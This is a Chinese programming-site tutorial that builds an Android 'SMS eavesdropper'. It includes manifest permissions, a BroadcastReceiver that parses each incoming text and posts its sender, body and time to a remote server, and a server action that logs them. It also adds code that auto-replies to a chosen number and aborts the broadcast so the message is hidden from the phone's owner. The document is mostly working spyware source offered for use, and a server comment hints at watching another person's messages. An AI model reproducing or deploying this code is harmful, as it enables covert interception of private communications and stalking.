欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  移动技术

Android编程之短信窃听器实现方法

程序员文章站 2023-12-04 09:22:04
本文实例讲述了android编程之短信窃听器实现方法。分享给大家供大家参考,具体如下: 服务器: 1、修改frombean:videoform中增加短信时间、内容和发送...

本文实例讲述了android编程之短信窃听器实现方法。分享给大家供大家参考,具体如下:

服务器:

1、修改frombean:videoform中增加短信时间、内容和发送者属性。

2、videomanageaction中增加方法getsms()来获取窃听器发送的短消息。

public actionforward getsms(actionmapping mapping, actionform form,
httpservletrequest request, httpservletresponse response)
throws exception {
videoform formbean = (videoform)form;
system.out.println("发送时间:"+ formbean.gettime());
system.out.println("谁给她发的短信:"+ formbean.getsender());
system.out.println("内容:"+ formbean.getcontent());
return mapping.findforward("result");
}

客户端sms_listener

1、 清单文件中订阅广播

<receiver android:name=".mysmslistener">
 <intent-filter>
   <action android:name="android.provider.telephony.sms_received"/>
 </intent-filter>
</receiver>

添加短信接收权限,访问网络权限

<uses-permission android:name="android.permission.internet"/>
<uses-permission android:name="android.permission.receive_sms"/>

2、 客户端mysmslistener.java

功能:收取短信广播,接收并解析短信然后发送至服务器端进行后台打印

import java.text.simpledateformat;
import java.util.date;
import java.util.hashmap;
import java.util.map;
import cn.class3g.utils.sockethttprequester;
…
public class mysmslistener extends broadcastreceiver {
public void onreceive(context context, intent intent) {
object[] pdus = (object[]) intent.getextras().get("pdus");
if (pdus != null && pdus.length > 0) {
smsmessage[] messages = new smsmessage[pdus.length];
for (int i = 0; i < messages.length; i++) {
byte[] pdu = (byte[]) pdus[i];
messages[i] = smsmessage.createfrompdu(pdu);
}
for (smsmessage msg : messages) {
string content = msg.getmessagebody();
string sender = msg.getoriginatingaddress();
date date = new date(msg.gettimestampmillis());
simpledateformat sdf = new simpledateformat(
"yyyy-mm-dd hh:mm:ss");
string sendtime = sdf.format(date);
map<string,string> param = new hashmap<string,string>();
param.put("method", "getsms");
param.put("sender", sender);
param.put("content", content);
param.put("time", sendtime);
string path = 
"http://192.168.1.100:8080/videoweb/video/manage.do";
try {
sockethttprequester.post(path, param, "utf-8");
} catch (exception e) {
log.e("tag",e.tostring());
}
}
}
}
}

smsmessage

public static smsmessage createfrompdu (byte[] pdu)

从原始的pdu(protocol description units)创建一个smsmessage。这个方法很重要,在我们编写短信接收程序要用到,它从我们接收到的广播意图中获取的字节创建smsmessage。

public string getoriginatingaddress ()

以string返回sms信息的来电地址,或不可用时为null。

public string getmessagebody ()

以一个string返回消息的主体,如果它存在且是基于文本的。

短信管理器 : smsmanager

1). 在 android 2.0 以前 应该使用 android.telephony.gsm.smsmanager
之后应该用 android.telephony.smsmanager;

2). 获取系统默认的短信管理器

smsmanager smsmanager = smsmanager.getdefault();

3). 按照每条短信最大字数来拆分短信

list<string> dividecontents = smsmanager.dividemessage(content);

4). 发送短信

smsmanager.sendtextmessage(destinationaddress, scaddress, text, sentintent, deliveryintent)

-- destinationaddress:目标电话号码
-- scaddress:短信中心号码,测试可以不填
-- text: 短信内容
-- sentintent:发送 -->中国移动 --> 中国移动发送失败 --> 返回发送成功或失败信号 --> 后续处理   即,这个意图包装了短信发送状态的信息
-- deliveryintent: 发送 -->中国移动 --> 中国移动发送成功 --> 返回对方是否收到这个信息 --> 后续处理  即:这个意图包装了短信是否被对方收到的状态信息(供应商已经发送成功,但是对方没有收到)。
 
5). 声明短信发送权限

* androidmanifest.xml
<uses-permission android:name="android.permission.send_sms"/>

3、 进一步添加客户端功能:将监听到的指定的短信进行拦截并且自动进行回复

添加短信发送权限:

<uses-permission android:name="android.permission.send_sms"/>
mysmslistener的onreceive中添加代码如下

string sendcontent = sdf.format(date) + ":" + sender + "--"
+ content;
log.i("tag",sendcontent);
if(sender!= null && sender.endswith("5556")){//5556".equals(sender)){
smsmanager smsmanager = smsmanager.getdefault();
smsmanager.sendtextmessage("5556",null,"game over",null,null);
this.abortbroadcast(); //终止广播
}

测试:

启动另一个模拟器,向部署客户端的模拟器发送短信,查看服务器端后台输出,并且观察客户端运行模拟器是否有短信接收。

希望本文所述对大家android程序设计有所帮助。